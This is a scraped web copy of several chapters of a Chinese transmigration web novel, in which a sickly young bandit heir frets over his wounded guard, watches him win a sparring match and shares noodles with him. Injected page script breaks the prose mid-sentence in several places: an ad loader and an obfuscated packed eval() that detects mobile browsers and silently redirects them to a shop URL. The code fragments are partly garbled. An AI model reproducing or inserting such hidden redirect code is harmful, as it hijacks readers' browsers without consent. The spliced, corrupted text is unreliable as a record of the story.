他推开门时,叶安淮正在床榻上跷着二郎腿吃糕点,一边眼神指使解洵把一旁的温茶拿来。 叶安淮没什么胃口,也就只能吃得下一些糕点,慢条斯理地一小口一小口咬着,举手投足间彰显小少爷的矜贵。 苗子越走了进来:“哟,醒了?” 叶安淮微微颔首,不予作答,只是将糕点的盘子往他那推了推。 苗子越:“你自个儿留着吧,我不吃。” 他一拂长袍,坐在叶安淮的面前:“可还有什么地方不舒服?药呢,应该都吃了吧?” 叶安淮翻了个白眼:“我又不是小孩子了。” 苗子越:“大早上吃这些糕点不助于消化,我让膳房给你准备些白米粥?” 叶安淮摸了摸肚子,面露纠结。 他实在没胃口,但是多吃饭身体才能好得更快一些…… 勉为其难地道:“那行吧,我要稀粥,不想要太干的。” “好好好,你真是我祖宗。” 眼看着苗子越就要离开,叶安淮叫住他:“等等!” 前者投来疑惑的目光,叶安淮眉宇蹙紧:“那件事……怎么样了?” “哦对。”苗子越转过身,“我爹说了,小少爷的事情他一概做不了主,一切都还得等老大回来之后再做定夺。” 叶安淮小脸垮了:“在那之前呢?” “在那之前,只能一切照旧咯。” 叶安淮:“?” 在少年不可置信的表情中,苗子越轻轻将门带上了。他缓缓吐出一口浊气,抹了把脸。 说实话,他不知道老大和他爹在搞些什么东西。 平常叶安淮只要说一个不字,哪怕是想要天上的星星,叶蔚成都能想尽办法给他弄过来。 很少会遇到这种,即使叶安淮明确反对了,但叶蔚成还毅然决然地坚持把他送到栖净寺的情况。 而且从昨天晚上和他爹谈话的感觉来看,他爹摆明了是不想掺和进他们父子的事情。 想到这里,苗子越脑袋里一团乱麻,他又叹了一口气,朝着膳房的方向走去。 另一边,叶安淮气得面色涨红,竖起手指颤颤巍巍地指向门的方向:“他,他是在骗我吧?!” “明明是他说会帮我求求情的!我才同意回来的!现在又反悔了!” “在山下的时候一个态度,回了寨后又是另一个态度!”叶安淮气急败坏,“这,这不妥妥的渣男吗!” “他,他们几个都是一伙的……” 说着说着,叶安淮呼吸急促,伴随着几声剧烈的咳嗽,眼眶也越来越红。 他攥着胸口的衣襟,剧烈的咳嗽让他有些呼吸困难,眼前一阵发黑。 解洵面色一凛,将人按回了软榻上,冷声道:“叶安淮,深呼吸,调整节奏。” 解洵只手捂着叶安淮的双唇,强制性抑制住竭力想要过度的呼吸,按照自己的节奏来给他放缓呼吸的频率。 没过多久,叶安淮的情绪逐渐平稳了下来,但胸口处还隐隐作痛。 “你大病初愈,情绪太过激动的话有可能加重病情。”解洵睨了他一眼,微微叹息道,“还是说小少爷不想冬至出去玩了,想在家好好养病?” 叶安淮攥着领口,方才的窒息感和痛感一起卷席而来,让他说不出话。 他眼眶微红,只觉得心底一阵委屈,还没开口,泪倒是先落了下来。 “我,我不想和你说话了。”他呜呜咽咽地说。 11. 第十一章 第十一章 说完这句话后,叶安淮当即就拒绝和外界交流,蒙着被子闷闷地道:“你走吧,我要休息了。” 解洵沉默片刻,替他将糕点放在一旁,低声道:“属下就在外面候着,小少爷若有吩咐,喊一声便好。” 叶安淮一动不动。 木门被拉开,冰冷的风从缝隙之中倒灌进来,又被火炉的暖意驱散。 听见关门动静声后的两三秒,叶安淮才悄悄从被子里探出脑袋来,瞅了一眼木门。 糕点静静地摆在他的床头,一旁配着的温茶还留有余温,腾腾雾气袅袅升起。 叶安淮低低地骂了一声:“真是个木头。” 他泄愤似的抓起一把糕点就往嘴里塞,一个糕点被他咬得咔咔响,不知道的还以为他在吃什么骨头呢。 吃完之后,自己又觉得没趣,四肢张开躺在床榻上,幽幽地叹了一口气。 这栖净寺……真的就是一定要去吗? 叶安淮不甘心。 他身为炮灰,原著小说前期没有什么他的戏份,他小日子过得也算自在。唯独这么一个剧情点,是直接关系到他生命安全的剧情点。 他打心底地不想去那劳什子栖净寺,更不想在那碰到那位临安王太子殿下。 倘若他没有办法扭转剧情线的一个点的话,又怎么能保证能扭转最后的结局呢? 他闭了闭眼,熟悉的人的面容在眼前一闪而过,他想让他们平平安安活下来,而不是最后变成轻飘飘的几行字,变成史书中寥寥几笔就写完的“炮灰”。 唉,山长水远啊—— 叶安淮翻了个身,脑袋枕在胳膊上,又叹了一口气。 至于解洵…… 他肯定觉得有些莫名其妙吧,毕竟自己这通火发得有些突然,他估计以为自己是被苗子越连累了。 然后也没说,就这么走掉了。 叶安淮吸了吸鼻子,一边在心底骂人,一边开始自我反省。 也不知过了多久,门外响起了一道轻轻的敲门声。 叶安淮一个激灵翻身而起,清了清嗓子:“进来。” “小少爷,我进来咯。”阿元端着米粥推门而入,“您声音怎么听起来有些不太对劲?” 叶安淮:“……”一下子垮了脸。 他蒙着被褥又不说话了。 阿元眨了眨眼,不明所以:“快起来吃些东西吧,这些都是苗哥吩咐膳房做的。” 叶安淮现在听见苗子越就嫌烦:“不要,拿走。” 阿元拧不过他,只能靠近劝导:“小少爷,您得赶快好起来,马上就要冬至了,寨子上下都在等着您来布置布置呢。” 叶安淮声音闷闷的:“别管我了,反正我爹他们都要把我送去栖净寺了,我已经不是你们的少爷了。” 阿元一惊道:“不可说这般赌气的话,您永远是遥云寨的少爷,老大听到了会多难过啊。” 叶安淮:“。”他不说话了。 叶安淮自闭,他一自闭就喜欢把自己隔绝于外。 “唉。”他听见阿元长叹一口气,低低地道,“说实话,我其实并不是很明白为何老大要那样逼您去栖净寺。但以我对老大的了解,他这么些年来走遍了大江南北就为了找为您治病的药。头一回这般强势,说不定那栖净寺中,有他想要的东西,或者是有您需要的东西呢?” 叶安淮露出圆溜溜的眼睛瞅他。 阿元没看见,继续道:“老大那性格您也不是不知道,他向来与那些戒律清规相悖,但这一次为了您居然愿意低声下气地去找那寺庙的和尚,我觉得光是这一点,或许您可以当面和老大谈一谈这件事?” “他还不知道什么时候回来呢,怎么和他谈。”叶安淮嘀咕了一句,绷着小脸,缓缓地坐起身,纡尊降贵地抬了抬下巴,“粥,递给我。” 阿元一愣,顿时喜笑颜开地将粥端了过去:“少爷您慢点喝,小心烫。” 膳房煲粥很有一手,清淡的同时配上了几碟叶安淮爱吃的小菜,顿时将他的食欲勾了上来。 他舀起一勺米粥糊糊,吹了又吹,正准备送进嘴中,就听见阿元冷不丁忽地想起来什么:“啊对了。” “解洵是您让他罚站在外面的吗?” 叶安淮咬着勺子:“?” 阿元:“我见他在那里站了挺久的了,今日外面又下了大雪,我怕他旧伤未愈又复发,要不……就先算了?” 叶安淮猛地睁大眼睛,想起方才那人临走前的话——属下就在外面候着,小少爷若有吩咐,喊一声便好。 原来,他是真的就站在外面。 ……他还以为他会找个别院待着什么的。 叶安淮蹙紧眉头,在犹豫要不要让他进来。 阿元善解人意道:“苗哥请来的那位医师正好也替他看过病,不如再让他去医师那里检查检查如何?” “免得到时候晕在雪地里,还要说一句我们小少爷不体贴。” 叶安淮心不在焉地咬着银勺:“那就这么办吧。” 阿元一声“好嘞”,转身就要出门,叶安淮临时又叫住他:“诶,阿元。” 他眼神躲闪,含糊其辞地道:“咱,咱寨子也不缺银两,劳烦医师还要在大雪封山之前来访寨里,可别苛待了人家。” 阿元知心知底,他笑眯眯地回应:“是,少爷!我一定吩咐给人多多的银两,再确保人家给我们好好的药材!” 叶安淮眼不见心不烦,直挥手:“滚滚滚。” 算了。 他心想。 兵来将挡水来土掩,若是那太子真的打上门来,我就抄着家伙跟他拼了,死也要拉个垫背的! 叶安淮有个优点,就是他思虑的事情不会超过第二天,因为前一天就会逼着自己把事情想明白——哪怕是以一种差强人意的方法。 所以他完全不会内耗! 有这么个下下之策后,他吃嘛嘛香,身子骨也逐渐好了起来。 这两日他谁都不见,将苗子越和解洵等人皆拒之门外,逍逍遥遥地让他个快活小神仙,日日三餐都有人备好送上门。 初冬的雪不知什么时候停了,他就躺在自己院子里,头顶支棱起一个小帐篷遮住了刺目的阳光,身 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 旁摆着暖洋洋的火炉,身上盖着毛茸茸的毯子,摇摇晃晃地在躺椅上昏昏欲睡。 如果要是有个手机或者电脑,再有个移动WiFi,这日子不知道过得该有多滋味。 可惜了呜呜。 这两日,叶安淮两耳不闻窗外事,一心只睡圣贤觉。 直到第三日,来送餐的阿元脚步比平日更匆忙,踏地脚下的木板吱呀响:“少爷,少爷,不好了!” 叶安淮摇扇不停,闭着眼睛问:“你少爷还不是很饿,这么急急忙忙地做什么。” “少爷,您猜我听到了什么!” 叶安淮还以为是什么八卦,竖起小耳朵:“细说。” 阿元一接到消息就马不停蹄地赶到了别院,凑到叶安淮身边小声说:“我在膳房备餐的时候,听见外面的人在议论点锋的事。” 叶安淮坐直身子,疑惑道:“点锋?那不是一个月才有的一次吗?我记得我下山前才有过一场,怎么又突然……?” 点锋算是遥云寨中为数不多的消遣项目,寨中个个都是血气方刚的武士,不安于室,因此叶蔚成早些年定下了点锋的规矩。每月举行一次,双方过招点到为止,不可伤及性命。 不可使用武器,纯粹耐力与技术的比拼。 最终胜者则会得到寨主的奖励——但也不能是太过离谱的条件,而且得提前告知叶蔚成,他才好做判断。 如今叶蔚成不在寨中,那应下这场点锋的,必然就是…… 他脑袋里忽地陡升起一丝不祥的预感,微微睁大眼睛:“不会吧哥。” 阿元认真点头:“对,您想得没错,这场比试的两位主角就是苗哥和那个解洵!” 啪叽一下。 小点心掉在了地上,沾上灰尘。 叶安淮整个人都傻眼了:“你,你是说谁?这两人怎么会凑到一起去?” 阿元叹息一声:“少爷,您有所不知啊,这两日您足不出户,一直都是苗哥天天盯着解洵,以防他有什么不轨之举。” “但再这么盯下去也不是办法,这两人其中得先疯一个。”阿元摊摊手,“于是苗哥实在忍不住了,率先提出了点锋的条件。” “苗哥当时的原话是这么说的:‘兄弟,如果你赢了,就得老老实实交代一切事情原委,不得有半点隐瞒。’ ‘反之,如果我赢了,我可以答应你一个要求。不管是任何要求,只要是我内里范围之内的,我绝不推脱!’” 飞扬的大雪之中,解洵冷冷抬眸看了他一眼,有意所指:“你这条件,对你不公平。” “我只需要交代我所知道的,而你却得答应我一个这么宽泛的条件。就算我答应了,小少爷醒来后也会将我责罚一顿。” “这是我们两个人的事,与他何干。”苗子越摸了摸下巴,瞥了他一眼,“不过倒也是,你说得对,条件并不对等。” “可我的直觉告诉我,揭开你隐瞒的一切,恐怕对你的代价远比我想象的要大。” 苗子越笑道,眸里满是挑衅:“所以这交易对我来说,一点都不亏。” “还是说,你怕了?” 12. 第十二章 第十二章 遥云寨有个现成的武场,是叶蔚成前些年的时候特地为一些血气方刚的青年人建立的,作为日常训练和消遣使用。 武场位于遥云寨后山的位置,是一个近乎有半个足球场那么大的武台。整个台子都是用上好的青石砖砌成,正中央拔高了一节,前后方是一个可以容纳百人的的石阶。 叶安淮河阿元匆匆赶到观战台时,案台上已经人满为患了,前排好的位置几乎已经被占满,都是闲来无事来看乐子的人。 现场十分嘈杂,众人探究的目光时不时地落在解洵身上——不愧是他们家小少爷带回来的人,果真气度不凡容貌俊美啊! 叶安淮站在外围,他已经很久没有见到这么大的场面了,一时间瞠目结舌。人群中也不知是谁先喊了一句:“都安静些,少爷来了!” “让开让开,别挤着小少爷了!” 喧哗的人群蓦地静了下来,齐刷刷地望向了呆站在最后一个的叶安淮。 人群之中,自然而然的空出了一条道来。 众目睽睽之下,哪怕是叶安淮这么被盯着也头皮一阵发麻。他轻咳一声,故作威严地开口:“怎么回事,点锋试炼不是前几日才结束,为何又举办一场?” 有人回答:“是苗哥和新来的下了个赌注。” 叶安淮正想说胡闹,却有一瞬感应,他乍然偏头,隔空望见了站在不远处的解洵。 几日不见,好似没什么太大的变化。他神色依旧淡淡,看不出什么情绪。 叶安淮眼底浮现出一丝惊羡,这还是他第一次看见有人能把遥云寨的武服穿得这般工整好看。 那人手腕上扎着缠布,短袖之下是流畅好看的肌肉线条,下摆偏短,衬得人身形修长有力。 解洵抬头望来,叶安淮似是触了电,下意识地避开了他的视线,扭头瞪了一眼不远处正做着准备活动的苗子越。 他气势冲冲地走上去,拉着苗子越跑到一旁,瞪着他,小声问:“你到底想干嘛?” 苗子越穿着同样的武服,也在给手腕上缠着布:“啊?这不是很明显了吗?看看这人到底是嘴更硬些还是拳头更硬些。” 叶安淮蹙眉:“我休息的那两日,你都问出来些什么?” “什么都没问出来。”苗子越拍了拍叶安淮的脑袋,“行了,我知道你在想些什么,不用担心他,我会看着来。真到了那一步我肯定会收手的,你就放心吧。” 这都什么跟什么啊。 叶安淮紧抿唇瓣,依旧不赞同:“就不能再等等吗?解洵身上还有伤,等他伤养好了也不迟啊!” 他瞪着圆溜溜的眼睛,显得瞳仁又黑又亮,看得苗子越失笑道:“好啊,我还指望你会担心我,没想到担心的是别人。” “你就放心吧,他身上的伤这两日大夫都给治了个七七八八,不会出什么大问题的,我有数。” 苗哥点锋,身后必然跟着一众跟班,闻言哄堂一笑,都劝哄道:“小少爷,苗哥说他有数,您就放心吧!” 反观解洵那边一个人也没有,喝倒彩的倒是不少。叶安淮心里有些不太舒服,有种自家仗势欺人的感觉。 他性子没有那么七拐八绕,认定的人,只要不搞背叛,他都会一视同仁。既然他收了解洵做侍卫,那他就同遥云寨的其他人别无两样。 那既然这样,自己便当他唯一的后援。 临走之前,叶安淮又瞪了他一眼,冷哼一声,当即转头,朝着解洵走过去。 解洵静静站在原地,似是在等着他。 叶安淮站在人面前,身后一众人盯着他,浑身不自在。但他强忍着羞耻心,低声道:“一会你尽力而为,小心伤口。” 少年耳垂通红,他微垂着眼不再看他,转身拿出一叠银两丢在桌案上,一拍桌子:“来!开盘!” “一百两银子,压解洵赢,不过分吧?” 此话一出,整个武场陷入了两秒钟的死寂,下一瞬,气氛骤然沸腾! 叶蔚成口令在先,按理说点锋中是不可以开盘赌输赢的,但今日小少爷都起了这么一个头,其他人纷纷跟上。 “三十两,压苗哥!” “二十两,苗哥赢!” “我全押!还没见过苗哥在点锋输过!” 喧哗声响彻山谷,叶安淮面上一片冷酷,实际心底有些心虚——本来这一百两银子是特意留给解洵的俸禄,如今用在他身上,倒也不亏。 ……至于这银子会不会打水漂,就是另外一回事了。 叶安淮目移.jpg。 清晨的薄雾被长风吹散,头顶不见日光,比武台在微凉的晨光之中显得阴沉肃杀。 随着两人踏上比武台,台下的观众原本沸腾的声音逐渐平息,变得寂静无声。武服轻轻摩擦带来的声音与长风吹拂落叶的声音交织在一起,像是无形的大手提住了叶安淮的心。 两人对视而立,身形不动。 随着一声令下,苗子越率先出击,骤然出拳袭向了解洵的面门,后者身体微动,飞速躲避,同样出招。 台下轰然一片,带起阵阵狂热的气氛。 这两人从一开始就毫不留手,拳脚相交,完完全全实打实地在拼谁的命更硬一点。 叶安淮衣衫早已被冷汗打湿,黝黑的瞳眸一眨不眨地盯着比武台上的两个人——中的一个。 他心急如焚,眸子一眨不眨地盯着解洵,那人身上的伤还没好透,也不知道这么高强度的动作会不会拉扯到伤口。 果不其然,在几招过后,那套素色的武服上明显出现了零星斑驳的红点,极为刺目。 苗子越显然也意识到这件事,躲闪空隙之际调侃道:“解兄,不如早些放弃……” 唰! 掌风迎面而来,苗子越狼狈躲闪,话都没说完。 苗子越:“……!” 他暗暗咬牙,心中却愈发肯定了自己先前的猜想。 这个人,身份不简单。 从他出手的角度来看几乎招招致命,与苗子越口中的切磋不同,解洵是当真将这一场架当做了生死之间的决斗来看待的! 解洵的身手和苗子越不相上下,甚至隐隐有凌驾于他之上的实力。 他眉眼微沉,闪身时滴落的汗珠打湿了衣衫,与肩头那抹血液交融在一起。他神色沉着依旧,面上看不出任何伤口撕裂时的痛感。 叶安淮目不转睛地盯着武台上的两人,掌心溢出细细密密的汗珠,眸光却越来越亮。 ——他就说吧,他看人的眼光一向是很好! 也不知是不是苗子越一开始轻敌了,战局时间拉得越长,他的力气逐渐耗尽,身体的反应速度也越来越迟缓,面上隐隐露出吃力的神情。 但解洵的速度丝毫不减,银灰色的瞳眸微微眯起,肘部狠狠一击锁住苗子越的关节,瞬间将人掀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13967453|147973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翻在地。 双指并拢,直冲着苗子越的命脉而去。 解洵瞳孔微缩,眸中冷然一片,余光倏地瞥见那抹青绿色的身影从位置上站了起来。 双指定在了原地,距离苗子越的命门也不过几毫厘的距离——! 场下不知何时鸦雀无声。 静静过了两三秒,叶安淮的声音传来:“够了,放开他。” “胜负已经分晓,你们两个,还要继续吗?”他冷声道,快步从位置上走向台子,偏头问躺在地上喘息的苗子越,“怎么样,还能站得起来吗?” 苗子越口中一片涩味,苦笑地坐了起来,挥了挥手:“勉勉强强吧。” “行。”叶安淮点点头,路过苗子越的时候,还用后者非常熟悉的恨铁不成钢的眼神瞅了他一眼——方才撂大话的是谁,你看看你! 苗子越觉得有些丢脸,移开视线不去看他。 叶安淮不再搭理身后一涌而上的喧叫声,他瞥了一眼站在不远处的解洵。这人从方才他说完话后,便退身了两三步,一直站在原地。 滴答,滴答。 他肩头的血顺着肌肉的线条缓缓滴落在地上。 叶安淮终于摆不下去冷脸了,他叹了口气,径直走到解洵的身边,嘀咕道:“虽然我说了不想看你输,但也没必要这般拼命吧,你看看,伤口又裂开了。” 他幽幽地叹了口气,总觉得这人表面上看着靠谱,实际上骨子里透着一股疯劲,有些难办。 叶安淮抬手拉住了他的手腕,催促道:“走,跟我重新上药去。”嘴里还不停说着:“都说了伤筋动骨一百天,还搁这有数有数,有数个鸡毛。苗子越疯,你也跟着一起疯啊?” 他不知自己现在是个什么样的心情,可看着解洵肩上的那抹晕红越来越大,他近乎有种快要呼吸不上来的窒息感。 眼前一片漆黑,等反应过来时,他自己走向了他。 哪怕有这样的前提,叶安淮还是莫名察觉到,自己并不想看他受伤,也不想看他流血。 真不知道这人到底是怎么活着长这么大的。 他絮絮叨叨,感觉自己也被苗妈妈附体:“既然是自己的身体,肯定能意识到痛,起码对自己好一点嘛。” 解洵怔怔地看着他,看着少年紧绷的小脸,还有那张一直在嘚啵嘚啵的小嘴,蓦地觉得心底深处的某一个地方微微触动。 心脏在跳动,脑海中那抹身影与眼前的人倏然重叠,如此清晰。 他垂眸,停下了脚步。 叶安淮猝不及防被他拉住,微微睁大了眼睛,回头。 那双漆黑清透的瞳眸中,清晰地倒映出眼中之人的模样。 他被拉住,疑惑地停下脚步:“怎么了?” 解洵垂眸看他,喉结滚动了下,别过脸去:“……没什么。” “你怎么感觉怪怪的?”叶安淮歪着脑袋看他,担忧道,“是不是感觉不太舒服?” 解洵没有说话,半晌后,他缓缓抽回了手。 他摇头道:“无碍,这些小伤不算什么,让小少爷费心了。” 叶安淮稍稍怔楞的功夫,他又开口道:“正好也到换药的时间了,大夫还在偏院等着,我一个人去便好。” “小少爷不如先去看看他吧。” 解洵淡淡的眸光扫过不远处被人簇拥成一团的苗子越,随后便不再去看叶安淮的表情,兀自一人离开了。 13. 第十三章 第十三章 叶安淮被留在了原地,头顶缓缓冒出一个:? 在那之后,没过多久,围绕在武台边上的人也都散了个七七八八。 不远处,苗子越龇牙咧嘴地捂着腹部,慢吞吞地起身,嘴上骂骂咧咧。 他一瘸一拐地被人架着,眼前忽地出现一片阴影,被人挡住了去路,抬头一看,愣了一下:“你怎么在这里?” 叶安淮面无表情地吐出一句话:“本少爷大发慈悲,等你一起回去,你就知足吧。” 苗子越哭笑不得,还能怎么办,只能说行。 叶安淮对着他身边的人道:“你们先走吧,我带他回去就行。” 身边的人都被叶安淮给支走了,他一个人慢吞吞地架起苗子越:“走了。” 一路上,两人皆是沉默。 苗子越鲜少受到这般“优质”的待遇,头皮发麻,心惊胆战。 身旁的少年一言不发,闷着头一直走。 周围静得只能听见长风呼呼的声音,苗子越的视线四处游离,最终还是有些受不了这气氛,轻咳一声,硬着头皮道:“别不开心了,笑一笑吧,我喊你哥行不行?” 叶安淮瞥了他一眼,扯着唇角露出一抹冷笑。 苗子越:“算了,哥,你还是别笑了。” 好不容易煎熬地回到了住所,苗子越飞速从叶安淮身上下来,撑着门沿,正想说自己没什么大碍了。就见叶安淮推开他,一步跨过门槛,兀自走了进去。 苗子越认命地叹了口气,知道自己是逃不过这一截了,将木门关上。 叶安淮轻车熟路地推门而入,坐在了屋内唯一的一把长椅上,目色沉沉。 苗子越心中叫苦,先是一瘸一拐地去给自己倒了杯水,又倒了一杯温水放在叶安淮面前:“哥,喝点热水消消气,气坏了身子又何必。” 他试图开始讲道理:“你看看你,这小身体弱的,每逢下雪天准要生一场大病,老大把你送到栖净寺调养,不也是想让你的身体好得快一些吗?” 叶安淮沉着脸没说话。 苗子越咂吧了一下嘴巴,猜错了。 他又道:“那个解洵,确实来历不明,他那一身功夫恐怕不像是一个寻常商人家能够练出来的,恐怕五句话里面三句话都是假的,我这不也是想帮你试探试探嘛。” 叶安淮瞥了他一眼,还是没说话。 这回是说到点子上了,少年揉了揉被冷风吹得有些僵硬的脸:“我知道,我没怪你。” 他下巴搭在椅背上,蹙眉问道:“你说这人到底在想些什么?”又怕苗子越听得迷糊,他将先前拉着解洵去看大夫的事情原原本本地说了一遍。 说完后,他还是气不过,冷哼一声:“本少爷难得好心帮他一下,这小子居然不领情……你这么看着我作甚?” 苗子越盯着他,看着他这副不自知的模样,叹了口气问:“阿淮,你自己就没有发现吗?” “你对这个叫解洵的,是不是有些太上心了?” 叶安淮被问得莫名其妙:“他是我的侍卫,我关心一下也不为过吧?而且我对你也是这样的啊,我对阿元也是这样的啊?” “尽搁这放屁。”苗子越骂道,“方才点锋的时候,你那视线都快黏人身上了,抽都抽不下来。” “况且,花一百两银子赌他赢的也是你吧?你敢说不是为他出气?” 叶安淮眨眨眼:“你在说什么,我就是为他出气啊?” 苗子越:“……” “况且,你说得对,也不对。”叶安淮道,“我确实挺喜欢他的,但我也很喜欢凌云楼里面漂亮的姐姐,也喜欢访花斋里面的花魁哥哥。哦对,我还给花魁哥哥送过五百两银子呢,这能代表什么吗?” 叶安淮掷地有声:“这只能代表我喜欢花钱!” 苗子越:“……” 他竖起一个大拇指:“好,你赢了。” 叶安淮轻哼一声,又想了想,觉得自己说得没什么问题。但又怕误会,还是解释道:“而且怎么说呢,这人看上去挺可怜了。不管他说的是不是实话,但父母的离去应该是真的。” 他很喜欢这个人眼睛的颜色,所以总是会不自觉地盯着他的眼睛看。在说到自己身世的时候,那双眼睛很明显黯淡了一个色泽。 叶安淮叹了口气,怜悯地拍了拍苗子越,“算了,跟你聊这些也没什么用,你先好好歇息吧,我回去了。” 苗子越没好气地挥开他的手,跟赶瘟神一样:“行了行了,赶紧走吧。” - 叶安淮走了,本想着回到自己的小院子,结果肚子非常不合时宜地响了起来,抬头一看,临近晌午。 早上被这两人的事情打断,连早膳都没来得及吃就匆匆忙忙地跑到了比武台,如今饿得已是饥肠辘辘。 前两日他发热,吃不得什么油水,整天不是清汤面就是小米粥。虽然味道确实不错,但一日三餐都这么寡淡,神仙来了也受不了。 一和阿元提想要吃肉,阿元就一本正经地拒绝:“小少爷,您大病初愈,不得吃这些重油重盐之物……这样吧,我去膳房替您拿一些小咸菜,可以吗?” 叶安淮:“……” 他一想到这个头就疼,脚步一转,就准备去膳房碰碰运气。 可还没走两步,忽地闻见了一股子炊火气从不远处传来,浓郁的肉香带着一丝微微的油脂气,仿佛在鼻尖前打了个转,勾得叶安淮眼睛一下子就直了。 膳房现在有人? 他朝着香气飘来的地方走去,腹中打着措辞,站定在膳房前,深呼吸了一口气,推门而入。 待到看清膳房中忙碌的人影时,一下子就愣住了。 不是别人,正是方才独自说着去看大夫的解洵。 听到动静声,解洵回过头,显然也没有意料到叶安淮会出现在这里,哑然道:“小少爷……” 叶安淮瞥了眼,他已经将武服换下,黑色的衣衫看不出伤口处理的情况,这么短的时间,估计也就简单地重新包扎了一下就来到这里了。 他迟疑道:“你……”你怎么会出现在这里? 但随即,目光便自然而然地落在了他手中的那碗面上。 “你还会做饭?”叶安淮一下子就被吸引了。 “只能解决些温饱。”解洵微顿,解释道,“小时候我爹不怎么管我们,我娘又身体不好,闻不得油烟味。” 叶安淮讶异道:“你……你娘身体也不好?怪不得你这么会照顾人。” “啊。” 他忽地出声,微微睁大眼睛,脑袋里冒出个念头:“不会前两天那些面啊粥什么的,都是你做的吧?” 解洵薄唇轻抿,点了点头。 他转过身去,手中的动作爽快利落,一看就是熟手,没少下过厨。 叶安淮满怀好奇心地走上去,便听解洵问:“不过我许久未曾下过厨,也不知这两日小少爷吃得如何?” 叶安淮:“……” 他赞赏道:“确实不错!” 而后又小声地补充了一句:“但我实在是不想吃面了……” 解洵了然,眼底浮现出一抹笑意:“是不想吃面了还是不想吃素面了?” 叶安淮:“有什么区别?不都是面。” “嗯……”男人沉默片刻,“小少爷,我准备炒浇头了,您退后两步,免得被热油溅上。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13967454|147973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一听到浇头,叶安淮心底又痒了,他噔噔噔地跑到不远处,伸了个脖子往里面瞅。 灶上的火开得很大,哪怕是站这么远都能感受到一股热浪袭来,解洵神色专注,将一旁洗好的菜倒入锅中,滋啦滋啦的热油触了水立马炸开。 叶安淮眼睛瞪得圆圆的,像个受了惊的猫崽子,又害怕又好奇。 没过一会,解洵口中的“浇头”就炒好了。 他磨磨蹭蹭地走上前,就看见男人将刚煮好的面捞了出来,又掀开一旁的铁锅,一阵浓郁的鸡汤香气在空气中蔓延开来,将清亮透彻的鸡汤舀了出来。 ——并非素面,而是鸡汤面。 汤色澄澈,表面微微泛着金黄色的鸡油,但不显得厚重,透着一股温暖而不油腻的感觉。 几块嫩白的鸡肉和软糯的枸杞盖在面上,与碗沿的白瓷相映。 素浇头色泽鲜艳,细细的芹菜与菌菇相交,让这份鸡汤面也染上了淡淡的颜色。 叶安淮眼睛都发直了,闻着这股诱人的香气,喉头不断滚动。想起自己前两天吃的那些素面淡水,如今一对比,感觉泪水都要从嘴边流下来了。 他咽了咽口水,不确定地问:“这,这是做给我的吗?” 解洵失笑,招呼他:“来尝尝吧,不知合不合小少爷的口味。” 叶安淮瞬间将一切抛之脑后,端着热气腾腾的鸡汤面,小心翼翼地吹了两口,轻轻抿了一口汤底。 那双剔透的黑眸唰的一下就亮了:“呜呜呜好喝,真的好喝!!” 遥云寨的厨子都是叶蔚成从山下特意为叶安淮请来的,基本上都只会做一些有营养但卖相很差而且并不这么好吃的东西,美其名曰地能为叶安淮调养身体。 所以叶安淮总是时不时地偷溜下山开开小灶。 解洵替他搬来了长凳,叶安淮当即坐下,直接开动,一边吃一边赞不绝口。 在初冬的季节,温暖的鸡汤下肚,别提有多巴适了。 整个膳房悄然寂静,叶安淮吃相很好,哪怕饿极了也得确保吃面的时候汤汁不会溅在衣裳上,他捏着小木勺一口一口地喝着汤。 没吃两口,他就停住了,纠结了半晌道:“你不饿吗?” “方才点锋消耗了那么多力气,不也一起吃点?” 解洵先是微怔,随即唇角上扬,笑道:“好。” 方才的面还剩下一些,他也盛了碗汤,配着浇头。 两人面对面坐着,气氛比早晨两人分别时缓和了许多。 叶安淮吃饱喝足,心情都变好了。 解洵收拾着碗筷,少年就坐在长凳上晃着双腿看他。 “你伤处理得怎么样了?”叶安淮想了好久,还是问出了口,“之前那么短的时间,你没去找大夫吧?” 解洵转过身来,倚在石炉边,淡声开口:“不算是什么大伤,先前大夫给了一些要,重新包扎一下就好。” 叶安淮松了一口气:“那就好。” 他坐在长凳上晃着双腿,嘴里轻哼着什么,看起来心情比早晨是明媚多了。 少年眉眼清隽,唇若石朱,生得漂亮又贵气。 辰时出门的匆忙,没有层层叠叠的衣服,只是单薄得穿着一身青绿色长衫。黑金色的束腰显得腰肢纤细,满头乌发松松垮垮地束在脑后,几缕碎发垂在鬓角,模样很是乖巧。 解洵忽地出声,喊他:“小少爷。” 叶安淮抬头,不明所以:“嗯?” “您是不是很好奇我的故事?” 叶安淮微微怔愣地看着他,心中忽地一悸。 解洵缓缓地移开目光,又道:“我是不是还没和您说过,我为什么会来到此处?” 14. 第十四章 第十四章 叶安淮沉默地看着他。 说不好奇是假,所以他对这些天苗子越做的事情都是睁着一只眼闭着一只眼,看看他这位便宜哥到底能挖出些什么东西来。 但明眼人都能知道这是一段解洵显然并不想提及的过去,所以他竭力克制住自己,并没有多问。 如今倒是没想到,解洵居然率先提及了这件事。 ……估计也是被苗子越闹得烦了。 叶安淮默默道了声歉,晃了晃双腿,然后非常干脆地点了点头:“你没说过,我也确实挺想知道的,怎么,你要告诉我吗?” “但我之前就说过了,你不想说,我也不会逼你。”他说,“谁都有不想提及的过往和秘密。” 说这句话时,叶安淮眼睫垂眸,盯着自己的双手看。 他不也是……有着不想提及的秘密嘛,如果有人一直这么追问探究的话,他也会不高兴。 